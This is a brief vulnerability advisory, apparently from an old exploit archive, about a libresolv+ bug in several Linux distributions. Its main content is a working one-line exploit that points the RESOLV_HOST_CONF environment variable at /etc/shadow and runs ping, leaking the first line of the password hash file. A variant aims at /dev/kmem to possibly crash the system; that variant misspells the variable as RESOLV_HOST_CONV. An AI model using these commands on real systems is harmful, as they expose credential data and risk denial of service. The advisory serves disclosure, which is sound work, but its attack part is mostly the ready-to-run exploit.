Resolv+ Linux library bug

Description:The libresolv+ library can give out too much information and possibly to crash the system
Author:Possibly Jared Mauch (
Compromise:users can read first line of any file (ie /etc/shadow) and they can possibly crash the system.
Vulnerable Systems:Many Linux distributions.

setenv RESOLV_HOST_CONF /etc/shadow; ping adfas

it might also be possibly to crash the system with things like:
'setenv RESOLV_HOST_CONV /dev/kmem;ping asdfas' or the like

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